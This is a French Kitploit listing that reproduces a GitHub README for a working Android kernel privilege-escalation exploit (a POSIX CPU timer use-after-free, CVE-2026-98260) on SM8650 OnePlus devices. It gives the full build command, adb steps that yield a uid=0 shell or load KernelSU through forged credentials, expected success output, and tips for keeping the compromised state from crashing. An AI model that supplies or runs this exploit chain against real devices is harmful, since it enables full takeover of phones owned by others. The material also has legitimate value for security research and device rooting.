Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-98260 — Exploit use-after-free de la minuterie CPU POSIX du noyau Android pour CVE-2026-98260, permettant d'obtenir un shell uid=0 ou un late-load KernelSU via de faux identifiants sur les appareils SM8650. | Kitploit
Outils/GitHubGitHub/zjns/cve-2026-98260
Sécurité AndroidEscalade de PrivilègesExploitationPost-ExploitationSécurité MobileDéveloppement de Charges UtilesExploitation de Binaires
GitHubzjns/cve-2026-98260

CVE-2026-98260

Exploit use-after-free de la minuterie CPU POSIX du noyau Android pour CVE-2026-98260, permettant d'obtenir un shell uid=0 ou un late-load KernelSU via de faux identifiants sur les appareils SM8650.

Voir le dépôt
932il y a 8 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-98260 Timer LPE

Portage de l'UAF du timer CPU POSIX CVE-2026-98260 pour 6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k (OnePlus PKX110, SM8650/sun)

Deux chaînes :

  • timer : zéro écriture de cred réel → uid=0, u:r:shell:s0 (root du domaine shell, bset caps)
  • timer fake : fake cred (full caps) → late-load de libksud.so de KernelSU installé

État

CheminRésultat
zéro écriture de cred réel + setuid(0) + exec shuid=0, u:r:shell:s0, ROOT_SHELL_OK
fake cred + ksud late-loadlibksud.so installé (uapi 6), KSU_LOADED, su en u:r:ksu:s0

Environnement

  • Identité de démarrage : adb/shell (uid 2000, u:r:shell:s0), peut lire tracefs et /proc/slabinfo
  • Lorsque le gestionnaire KernelSU est installé (me.weishu.kernelsu), fake utilise automatiquement son lib/arm64/libksud.so

Compilation

NDK 28.2 (aarch64, API 35) :

cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

Utilisation

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# Diagnostic
adb shell /data/local/tmp/timer ids     # sonde l'id d'événement de page tracefs
adb shell /data/local/tmp/timer leak    # effectue uniquement la fuite base/cred/task, sans déclencher l'UAF

# shell uid-0 (cred réel)
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # sh interactif

# KernelSU (fake cred + ksud installé) —— exécution au premier plan, journaux affichés en temps réel
adb shell /data/local/tmp/timer fake
# après avoir vu "[!] fake cred page held; reboot to clean", vous pouvez fermer directement le terminal
# (lors du park, SIGHUP/SIGINT/SIGTERM sont déjà ignorés ; le processus continue de détenir la page fake cred et ne sera pas tué par erreur par Ctrl-C/déconnexion)

# Si vous devez encore conserver les journaux côté appareil (tout en les affichant en temps réel) :
adb shell 'cd /data/local/tmp && ./timer fake 2>&1 | tee timer.log'

Signes de succès de fake :

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

Sécurité

  • En cas d'échec, l'état se parque et conserve un zombie ; ne pas le tuer, le redémarrage est la seule façon sûre de nettoyer
  • Après le succès de fake, le processus parent se parque également, en conservant la page de cred fake via un socket
  • Après avoir déclenché l'UAF, ne pas faire timeout/kill sur les processus parqués, sinon le recyclage par init du nœud obsolète peut provoquer un panic
  • park_forever() ignore SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE, donc en exécution au premier plan, vous pouvez vous détacher en toute sécurité avec Ctrl-C ou en fermant le terminal adb ; la terminaison réelle ne peut se faire que par SIGKILL (ou un redémarrage)
  • Après un redémarrage matériel, le root ksu disparaît ; utiliser le faux redémarrage logiciel de KernelSU ne fait pas disparaître le root ksu

Répertoires

timer/timer.c      exploit
timer/timer        artefact statique
tools/*.c          sources de diagnostic du portage

Cible et portage

Les constantes clés sont codées en dur dans timer/timer.c : sites do_timer_create/copy_process, selinux_state, panic_on_warn, taille du cache de tâches de copy_process, symboles init_*

Lors d'un changement de noyau, redérivez avec le boot.img/BTF/kallsyms de l'appareil ; les fichiers sous tools/ servent à vérifier le call site, le raw record, la fuite du timer et le canal de récupération AF_UNIX de 8 Kio

Références

  • woshigenm/CVE-2026-98260 (MIT) : trigger, zéro écriture sur les real-cred, idées fake cred/KSU
  • ghostlock-app : phase finale du late-load de KernelSU
  • Autres projets de portage de CVE-2026-98260 : récupération order-1 et séquencement du trigger
Télécharger l’outil